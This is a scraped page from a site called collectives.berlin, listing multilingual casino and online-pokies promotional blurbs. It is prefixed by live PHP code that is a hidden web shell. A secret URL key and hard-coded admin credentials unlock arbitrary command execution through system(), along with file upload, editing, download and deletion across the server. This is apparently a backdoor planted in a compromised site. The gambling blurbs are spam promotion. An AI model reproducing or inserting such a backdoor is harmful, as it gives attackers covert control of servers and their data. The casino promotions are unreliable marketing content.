if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 34 – collectives.berlin

Your digital paradise.

Category: public

  • Amunbet Casino UK payment methods: Ensuring safety and speed for all players

    In the dynamic world of online gaming, having a reliable casino platform is crucial for UK players. Amunbet Casino stands out by providing not only a diverse selection of games but also a focus on fast payouts and secure transactions, making it easy to find valuable insights at amunbet-casino.org that enhance the player experience. This…

    Click or not…

  • Pin up casino-da pul yatırma və çıxarma: sürət və təhlükəsizlik

    Onlayn kazino dünyası, müasir dövrün trendini izləyərək, istifadəçilərə geniş imkanlar təqdim edir. Bu yazıda, pin up pin up casino-nun pul yatırma və çıxarma prosesləri, onların sürəti və təhlükəsizliyi ilə bağlı ətraflı məlumat verəcəyik. İstifadəçilərin rahatlığı üçün önəmli olan bu məqamlar, kazino təcrübəsini daha da yuxarı səviyyəyə qaldırır. Pin up casino-da pul yatırma və çıxarma prosesini…

    Click or not…

  • 1win спортын бооцооны тойм: хэрхэн зөв сонголт хийх вэ

    Казино тоглоом, спортын бооцооны зах зээлд 1win нь нэр хүндтэй, сонирхолтой платформ юм. Тус сайт нь 13,000 гаруй тоглоом санал болгож, хэрэглэгчдийн хэрэгцээг хангахын тулд 24/7 дэмжлэг үзүүлж, аюулгүй байдлыг хангах зорилгоор SSL хамгаалалттай. 1win сайт нь тоглогчдод олон төрлийн тоглоом, 1WIN казино , спортын бооцоог санал болгож байгаа бөгөөд энэ нь шинээр орж ирж…

    Click or not…

  • OnlySpins Casino ja urheiluvedonlyönti: yhdistä viihde ja voitot

    OnlySpins Casino tarjoaa suomalaisille pelaajille monipuolisen pelialustan, joka yhdistää huikean pelitarjonnan ja jännittävän urheiluvedonlyönnin. Tämä moderni kasinoelämys tarjoaa pelaajille mahdollisuuden nauttia suosikkipeleistään, kuten kolikkopeleistä ja live-kasinoista, samoin kuin mahdollisuuden lyödä vetoa eri urheilutapahtumista. Erityisesti Onlyspins kasino erottuu edukseen tarjouksillaan ja bonuksillaan, joten lue lisää! Mitä uudet käyttäjät voivat odottaa OnlySpins Casinolta OnlySpins Casino tarjoaa ainutlaatuisen…

    Click or not…

  • مكافآت Westace Casino في 2026: كيف يمكنك زيادة فرصك في الفوز

    تعتبر الكازينوهات من بين أكثر وجهات الترفيه شعبية في العالم، وخاصةً في منطقة الشرق الأوسط. يقدم Westace Casino مجموعة متنوعة من الألعاب والمكافآت، مما يجعله خيارًا مثيرًا للاعبي القمار، حيث يمكنهم الاستمتاع بتجربة ألعاب جديدة مع Westace المليئة بالمفاجآت. في عام 2026، تتميز Westace Casino بمكافآت مغرية مثل مكافأة ترحيبية تصل إلى 400%، مما يعزز…

    Click or not…

  • Maximize your wins at online pokies NZ: A look at real money slots and

    If you’re looking to elevate your gaming experience at online casinos in New Zealand, understanding how to maximize your wins at online pokies is essential. The thrill of real money slots offers excitement and the potential for lucrative returns, especially when you choose the best fast withdrawal casino that suits your needs. This guide provides…

    Click or not…

  • Experience seamless gaming at Neosurf Casinos Australia: Enjoy real money pokies with prepaid

    In the world of online gaming, Neosurf casinos in Australia have carved out a niche for themselves, particularly for enthusiasts of real money pokies, and many players are excited about the potential of the neosurf casino bonus . With their innovative prepaid voucher system, these casinos offer players an effortless way to enjoy gaming without…

    Click or not…

  • Fast withdrawals made easy: Top tips for playing at Best Online Pokies Australia 2026

    In the dynamic world of online casinos, one factor stands out for avid players: withdrawal speed. Fast withdrawals not only enhance the gaming experience but also build trust. In 2026, the best online pokies sites for Australian players are prioritizing efficient withdrawal processes, allowing players to access their winnings quickly and securely, including options like…

    Click or not…

  • Unlock the thrill: explore live tables and quick cashouts at Sofobet Casino

    The excitement of online casinos continues to captivate players around the globe, and platforms like Sofobet are stepping up to the plate with a polished experience. Boasting a plethora of live tables and a commitment to quick cashouts, Sofobet aims to provide a gaming journey filled with opportunities for both casual and seasoned players. In…

    Click or not…

  • Pinco казино: секреты успешной игры для опытных игроков

    В мире онлайн-казино существует множество возможностей для азартных игроков, которые стремятся максимизировать свои шансы на победу. Пинко казино – это платформа, которая предлагает не только широкий выбор игр, но и заманчивые бонусы, такие как Пинко вход , а также бесплатные вращения. В данной статье мы подробно рассмотрим, как правильно начать играть, на что обращать внимание…

    Click or not…